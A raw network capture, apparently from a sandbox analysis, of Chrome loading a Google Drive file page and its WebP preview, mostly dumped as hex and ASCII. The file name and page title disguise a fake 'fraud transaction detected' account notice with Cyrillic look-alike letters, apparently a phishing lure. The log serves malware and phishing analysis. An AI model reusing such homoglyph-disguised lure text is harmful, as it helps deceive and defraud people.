0	192.168.2.4	49736	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:30 UTC	869	OUT	GET /file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 19:42:30 UTC	1328	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Robots-Tag: noindex, nofollow, nosnippet Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:42:30 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-4TArO_ZM5zS26Amv4HH5-w' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/viewer/ Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/docs-tt Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB; expires=Fri, 16-May-2025 19:42:30 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:42:30 UTC	50	IN	Data Raw: 34 33 39 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 34 54 Data Ascii: 4393<!DOCTYPE html><html><head><script nonce="4T
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 41 72 4f 5f 5a 4d 35 7a 53 32 36 41 6d 76 34 48 48 35 2d 77 22 3e 20 77 69 6e 64 6f 77 5b 27 5f 44 52 49 56 45 5f 56 49 45 57 45 52 5f 63 74 69 6d 69 6e 67 27 5d 3d 7b 7d 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 34 54 41 72 4f 5f 5a 4d 35 7a 53 32 36 41 6d 76 34 48 48 35 2d 77 22 3e 20 77 69 6e 64 6f 77 5b 27 5f 44 52 49 56 45 5f 56 49 45 57 45 52 5f 63 74 69 6d 69 6e 67 27 5d 5b 27 74 66 73 27 5d 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 69 64 3d 22 74 65 78 6d 65 78 2d 74 68 75 6d 62 22 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 69 6d 61 67 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f Data Ascii: ArO_ZM5zS26Amv4HH5-w"> window['_DRIVE_VIEWER_ctiming']={}; </script><script nonce="4TArO_ZM5zS26Amv4HH5-w"> window['_DRIVE_VIEWER_ctiming']['tfs']=performance.now(); </script><link id="texmex-thumb" rel="preload" as="image" href="https://drive.google.com/
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 38 45 2d 30 33 41 31 2c 55 2b 30 33 41 33 2d 30 33 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6b 43 6e 71 45 75 39 32 46 72 31 4d 75 35 31 78 48 49 7a 49 46 4b 77 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 32 2d 30 31 30 33 2c 55 2b 30 31 31 30 2d 30 31 31 31 2c 55 2b 30 31 32 38 2d 30 31 32 39 2c 55 2b 30 31 36 38 2d 30 31 36 39 2c 55 2b 30 31 41 30 2d 30 31 41 31 2c 55 2b 30 31 Data Ascii: 8E-03A1,U+03A3-03FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 33 30 31 2c 55 2b 30 34 30 30 2d 30 34 35 46 2c 55 2b 30 34 39 30 2d 30 34 39 31 2c 55 2b 30 34 42 30 2d 30 34 42 31 2c 55 2b 32 31 31 36 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 53 55 35 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e Data Ascii: woff2)format('woff2');unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:300;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2)format('woff2');unicode-ran
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 42 2d 30 32 42 43 2c 55 2b 30 32 43 36 2c 55 2b 30 32 44 41 2c 55 2b 30 32 44 43 2c 55 2b 30 33 30 34 2c 55 2b 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 32 30 30 30 2d 32 30 36 46 2c 55 2b 32 30 41 43 2c 55 2b 32 31 32 32 2c 55 2b 32 31 39 31 2c 55 2b 32 31 39 33 2c 55 2b 32 32 31 32 2c 55 2b 32 32 31 35 2c 55 2b 46 45 46 46 2c 55 2b 46 46 46 44 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 Data Ascii: B-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2)
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 30 2d 30 32 42 41 2c 55 2b 30 32 42 44 2d 30 32 43 35 2c 55 2b 30 32 43 37 2d 30 32 43 43 2c 55 2b 30 32 43 45 2d 30 32 44 37 2c 55 2b 30 32 44 44 2d 30 32 46 46 2c 55 2b 30 33 30 34 2c 55 2b 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 31 44 30 30 2d 31 44 42 46 2c 55 2b 31 45 30 30 2d 31 45 39 46 2c 55 2b 31 45 46 32 2d 31 45 46 46 2c 55 2b 32 30 32 30 2c 55 2b 32 30 41 30 2d 32 30 41 42 2c 55 2b 32 30 41 44 2d 32 30 43 30 2c 55 2b 32 31 31 33 2c 55 2b 32 43 36 30 2d 32 43 37 46 2c 55 2b 41 37 Data Ascii: static.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2)format('woff2');unicode-range:U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A7
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 33 37 30 2d 30 33 37 37 2c 55 2b 30 33 37 41 2d 30 33 37 46 2c 55 2b 30 33 38 34 2d 30 33 38 41 2c 55 2b 30 33 38 43 2c 55 2b 30 33 38 45 2d 30 33 41 31 2c 55 2b 30 33 41 33 2d 30 33 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 78 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 Data Ascii: ff2');unicode-range:U+0370-0377,U+037A-037F,U+0384-038A,U+038C,U+038E-03A1,U+03A3-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2)format('woff2');unicode-ra
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 57 55 6c 66 41 42 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 33 30 31 2c 55 2b 30 34 30 30 2d 30 34 35 46 2c 55 2b 30 34 39 30 2d 30 34 39 31 2c 55 2b 30 34 42 30 2d 30 34 42 31 2c 55 2b 32 31 31 36 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f Data Ascii: ;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2)format('woff2');unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:700;src:url(//fonts.gstatic.com/s/ro
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 30 30 30 2d 30 30 46 46 2c 55 2b 30 31 33 31 2c 55 2b 30 31 35 32 2d 30 31 35 33 2c 55 2b 30 32 42 42 2d 30 32 42 43 2c 55 2b 30 32 43 36 2c 55 2b 30 32 44 41 2c 55 2b 30 32 44 43 2c 55 2b 30 33 30 34 2c 55 2b 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 32 30 30 30 2d 32 30 36 46 2c 55 2b 32 30 41 43 2c 55 2b 32 31 32 32 2c 55 2b 32 31 39 31 2c 55 2b 32 31 39 33 2c 55 2b 32 32 31 32 2c 55 2b 32 32 31 35 2c 55 2b 46 45 46 46 2c 55 2b 46 46 46 44 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 74 69 74 6c 65 3e 57 65 20 4e d0 b5 d0 b5 64 20 d0 90 64 Data Ascii: ff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}</style><meta name="referrer" content="origin"><title>We Nd d
2024-11-14 19:42:30 UTC	1378	IN	Data Raw: 61 2d 69 64 3d 22 5f 63 6c 22 20 6e 6f 6e 63 65 3d 22 6c 46 41 70 37 36 4d 4c 5f 52 49 33 38 50 71 57 71 4c 59 77 73 77 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 47 6f 6f 67 6c 65 2b 4d 61 74 65 72 69 61 6c 2b 49 63 6f 6e 73 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6e 6f 6e 63 65 3d 22 6c 46 41 70 37 36 4d 4c 5f 52 49 33 38 50 71 57 71 4c 59 77 73 77 22 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 34 54 41 72 4f 5f 5a 4d 35 7a 53 32 36 41 6d 76 34 48 48 35 2d 77 22 3e 20 77 69 6e 64 6f 77 5b 27 5f 44 52 49 56 45 5f 56 49 45 57 45 52 5f 63 74 69 6d 69 6e 67 27 5d 5b Data Ascii: a-id="_cl" nonce="lFAp76ML_RI38PqWqLYwsw"><link href="https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700" rel="stylesheet" nonce="lFAp76ML_RI38PqWqLYwsw"><script nonce="4TArO_ZM5zS26Amv4HH5-w"> window['_DRIVE_VIEWER_ctiming'][

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:42:31 UTC	1117	OUT	GET /drive-viewer/AKGpihbu9JoX6HaPrSMhBjFMLlZqRoFGZIaMUlsIMCO_03LfvFbYFcvPKtHamXrT0qSn9KwliGhO-lqulI9xOWwCqbJNtxwQGEexRO4=s1600-rw-v1 HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=bSUCOjNhEL0ItomZnmLexJF3XdVXtanONTMiMnqXBLvtSkjwji8EDWY3mTpXCcHDFNBvCZAwldzwNvWphIYJ_yQeXbnMkXDZvGE1yB0vkDSCRduw3iXIzAfUUeFXCHHEx5MzwkWdtEVz4IrtTre7d7NtM2VXelKSutQEWYOF_hrzo_FUIL4Ad2RB
2024-11-14 19:42:31 UTC	1074	IN	HTTP/1.1 200 OK Content-Type: image/webp Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: sandbox X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff Vary: Origin Access-Control-Allow-Origin: * Timing-Allow-Origin: * Access-Control-Expose-Headers: Content-Length ETag: "v1" Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: private, max-age=86400, no-transform Content-Disposition: inline;filename="We N__d _dditional Information R_garding Your ___ount - Fraud Trans__tion D_t__ted.webp";filename*=UTF-8''We%20N%D0%B5%D0%B5d%20%D0%90dditional%20Information%20R%D0%B5garding%20Your%20%D0%90%D1%81%D1%81ount%20-%20Fraud%20Trans%D0%B0%D1%81tion%20D%D0%B5t%D0%B5%D1%81ted.webp Date: Thu, 14 Nov 2024 19:42:31 GMT Server: fife Content-Length: 10078 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:42:31 UTC	304	IN	Data Raw: 52 49 46 46 56 27 00 00 57 45 42 50 56 50 38 20 4a 27 00 00 90 17 01 9d 01 2a 00 04 40 02 3e b5 5a a9 4f a7 25 23 a2 21 b5 d8 88 e0 16 89 65 6e e1 76 b1 1b 20 1d 98 b2 8f b3 73 63 ec 07 37 fe bf ca 3f 54 9d a7 e5 f3 cf de 73 bf d9 7e cb fb 99 fd 61 ff 7b dc 17 f5 9b cf 33 f7 03 dd 8f f8 2f fa 1e a3 3f a6 7f a2 fd d9 f7 7f ff 7f fb a1 ef 4f fb 37 fc 3f 60 3f eb 5f f0 ff ff f6 22 fe ef fb 09 7e ed 7a bc 7f e6 fd df f8 5e fe c1 ff 4b f7 57 da e3 ff ff 67 7f 4a ff 5e 3f d4 fa 40 f1 f3 f8 3e 25 f9 75 f8 7e 89 79 2f ec c3 53 5f 9c fe 40 fe 7f 9c 9d f9 fc bb d4 17 d9 bb d1 fb bf 98 5f bd f9 9b fd b7 9e ff c5 eb 98 d0 2b 8e 68 ca 0f a6 75 c8 0a 5d 54 f8 a0 e6 c1 f4 ce b9 01 4b aa 9f 14 1c d8 3e 98 b7 fc 50 6b 90 25 9c 9f e9 63 69 85 72 c8 af 3c dd 93 83 87 f0 03 Data Ascii: RIFFV'WEBPVP8 J'*@>ZO%#!env sc7?Ts~a{3/?O7?`?_"~z^KWgJ^?@>%u~y/S_@_+hu]TK>Pk%cir<
2024-11-14 19:42:31 UTC	1378	IN	Data Raw: 14 1c d8 3e 99 d7 20 29 75 53 e2 83 9b 26 26 78 3e 99 d7 20 29 75 53 e2 83 9b 07 d3 3a e4 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 d5 4f 8a 0e 6c 1f 4c eb 90 14 b7 ca dc be 05 81 60 57 b3 ec b8 a7 64 13 92 cf 25 68 45 66 de 4a cc 04 6d bc d9 6f 0f e0 07 d3 3a e4 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 c0 04 74 af 79 9a 79 99 29 55 fe c9 1f bd 58 b8 10 b4 91 7f 82 f3 89 8b 1f 4f 6f 51 40 79 5f 7d 4b 1b 5a 2c e5 0f 20 a6 95 95 65 ea 06 05 35 67 bb a8 4e 13 de 9f 2c e2 ff 86 8b 1a 13 f0 03 e9 9d 72 02 97 55 3e 28 39 b0 7d 33 ae 40 52 df 4f b2 c7 b5 eb c1 d0 a0 fb 61 b2 a0 fc 77 93 7a 34 1a 27 4c f5 b9 88 a8 bd 8e bb 63 86 35 e3 e5 89 6a 6b 12 7b a8 d7 fb 01 ca 0a 3e b4 a3 b4 27 34 cc da a7 67 52 43 b8 53 d5 b7 d7 55 bb 84 c5 88 a2 33 d3 32 b6 78 8b 5d ef e6 56 8d e7 Data Ascii: > )uS&&x> )uS:.\|Ps`g\OlL`Wd%hEfJmo:.\|Ps`g\tyy)UXOoQ@y_}KZ, e5gN,rU>(9}3@ROawz4'Lc5jk{>'4gRCSU32x]V
2024-11-14 19:42:31 UTC	1378	IN	Data Raw: ef 1d 63 74 99 d4 39 e8 7f 0e 9f 0a bb 55 3e 28 39 b0 7d 33 ae 40 52 ea a7 c5 07 36 0f a6 75 c8 0a 5d 54 f8 a0 e6 c1 f4 ce b9 01 4b aa 9f 14 1c d8 3e 99 d7 20 29 75 53 e2 83 9b 07 d3 3a e4 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 d5 4f 8a 0e 6c 1f 4c eb 90 14 ba a9 f1 41 cd 80 59 e8 e7 b9 ee 7b 9e e7 b9 ee 7b 9e e7 b9 ee 7b 9e e7 b9 ee 7b 9e e7 b9 ee 68 dd c9 d8 3e 99 d7 20 29 75 53 e2 83 9b 07 d3 3a e4 05 2e aa 7a 47 6a c7 07 30 8b 4d 96 2b 40 a7 e9 7c c9 f6 31 dc 24 92 d0 64 72 5f c2 c1 94 30 06 6f 3a aa d6 8d 5f 05 92 65 f0 f4 31 e6 e6 05 2e aa 7c 50 73 60 fa 67 5c 80 a5 d5 4f 8a 0e 6c 1f 49 31 bc 74 a5 7d 8d 8d 64 55 67 a8 f9 e8 2d 7f 37 70 8b 96 5c 31 90 14 67 28 bf 23 6e a5 66 e1 2c 92 3f 5b b1 bc c9 f1 51 8a dd 50 5b 98 01 d2 70 ba e4 05 2e aa 7c 50 73 Data Ascii: ct9U>(9}3@R6u]TK> )uS:.\|Ps`g\OlLAY{{{{h> )uS:.zGj0M+@\|1$dr_0o:_e1.\|Ps`g\OlI1t}dUg-7p\1g(#nf,?[QP[p.\|Ps
2024-11-14 19:42:31 UTC	1378	IN	Data Raw: dc 7b 70 ad 15 9e a0 ff 7d 60 ab 51 e6 3f 69 ee 5e 7b 18 cb 9e d5 97 e1 f3 bf 5f 0a a4 de 2e 7c 1a 45 84 a8 a1 8a 0e b7 64 83 52 1d c6 c4 13 6c d2 d5 2f 3d e2 ea 76 4e f9 09 de ec 27 99 24 d8 00 72 f0 54 f8 f3 27 42 77 b7 84 e3 a2 eb 0a c1 68 39 a9 c0 2a a3 9e 91 30 1d 91 ab a4 de 9e 2c 32 83 7c e9 94 91 0d 91 3c 49 e5 c3 5b 84 a3 31 5c 26 bf b2 0b 2e 3b 42 c4 43 5e 28 89 85 be 90 a8 7b 2f 94 b6 fb 40 b5 80 44 8d 33 df 83 31 16 3a ac f8 7f 7b da a3 0b 8a c0 4d 67 8c bc 6c 1e 04 c3 35 da 93 ce 1a ea de 28 d4 c2 04 9f ea 65 45 1e 59 3a 89 91 ff 19 9a 83 09 86 b6 b8 1b 81 23 6b f7 ed ba 4d 71 ca a4 b7 d7 da 8d db 24 8d 52 6e bf 01 f4 0b da 6c 3b ff 4c ac ce f0 cc ef ab 39 9d 5b cf a4 77 a0 7b d2 58 de e0 79 dd fd 76 59 ed dc 5e a4 6e ca cb 3b 63 5b a9 01 bb Data Ascii: {p}`Q?i^{_.\|EdRl/=vN'$rT'Bwh9*0,2\|<I[1\&.;BC^({/@D31:{Mgl5(eEY:#kMq$Rnl;L9[w{XyvY^n;c[
2024-11-14 19:42:31 UTC	1378	IN	Data Raw: be 97 6a 20 b0 95 19 8b 70 74 37 89 b3 89 cd c0 b5 87 ec 13 8b 8c 53 69 6f 4b 69 1b 3f cb 4a d8 1b f8 28 62 d3 7c 48 5f a5 d4 72 43 45 56 45 28 4f 80 86 85 19 02 df 5a ec 27 82 b2 87 4d 40 95 e5 e8 87 48 cb 23 9f 60 60 ef 5c 9a ef fb 7e 01 5e 59 0f d7 16 f5 57 26 32 9c 8c 31 ce 0a 67 ec b8 3c a5 8f 83 85 63 da 2c 44 86 d9 0d d5 e7 86 f6 be 3e 1a e4 93 47 f8 3d bb 88 d0 12 c5 90 57 3e a8 49 ad 78 67 d2 14 0d 2c 97 0d 47 c9 46 78 05 e1 50 63 af ea a5 3a 2a 9f c9 d8 26 5f 5e 68 a9 a9 b4 07 ca 58 21 2c a8 c3 21 72 96 73 fc 97 27 a7 f4 4e dc aa 7d dc cc 33 f8 47 74 94 c1 94 31 8b 99 c8 61 73 40 37 97 f3 83 7a 3f c4 26 08 18 ef 08 1f 23 7b 38 5c 8c 43 98 85 f3 3b c4 49 41 5e 2f 98 a0 72 95 75 2e c2 58 a3 58 87 37 69 e1 55 a0 8f 90 09 40 f5 e0 33 5b f9 9b 94 6b Data Ascii: j pt7SioKi?J(b\|H_rCEVE(OZ'M@H#``\~^YW&21g<c,D>G=W>Ixg,GFxPc:*&_^hX!,!rs'N}3Gt1as@7z?&#{8\C;IA^/ru.XX7iU@3[k
2024-11-14 19:42:31 UTC	1378	IN	Data Raw: f6 d6 7f ff d5 5c 03 4d ec 1a 0a 5a 3c 17 16 c1 67 64 1f 36 03 f8 8a ae 75 8d 11 f9 d6 f2 fa b8 89 80 4d 43 87 09 e9 a2 74 c6 a5 4f da fe a6 ab f7 d8 d1 35 93 5e 68 24 f1 f5 6d b4 66 3e 84 7d 5f f4 ff bd 53 95 91 62 26 7f 79 53 1b 85 9c a7 13 fe 5a b1 53 ff 18 e6 7b 8a 86 87 40 9f 21 69 d7 fd da 05 c5 e8 f6 87 d7 b0 f0 93 44 11 40 de 5b 1d 08 f4 4b 97 f8 4a 9e 02 d4 fc 29 49 e8 4b 9c 1b 66 cb 67 a6 f4 89 f7 03 0a 5c c6 e2 f7 af 9b 12 06 8a 97 bd cd 13 6e 27 d1 a9 52 36 95 b9 61 82 b9 2c c2 1e 53 e3 a2 65 dd f9 9c 2f 48 86 75 f7 af aa f2 7a 78 e9 59 3f 24 ae fd 72 db 44 14 08 c7 b2 62 c6 8b c4 d5 10 96 f8 2d 49 80 a6 74 e7 f4 28 3e 7d b8 6a f0 a9 4c 79 c4 1f 28 fc 9b d7 b9 3f cd e3 cb db b8 ec 40 23 45 53 60 47 c0 50 3e 3d 3f 63 5f 8e 39 39 21 bb 0d a9 30 Data Ascii: \MZ<gd6uMCtO5^h$mf>}_Sb&ySZS{@!iD@[KJ)IKfg\n'R6a,Se/HuzxY?$rDb-It(>}jLy(?@#ES`GP>=?c_99!0
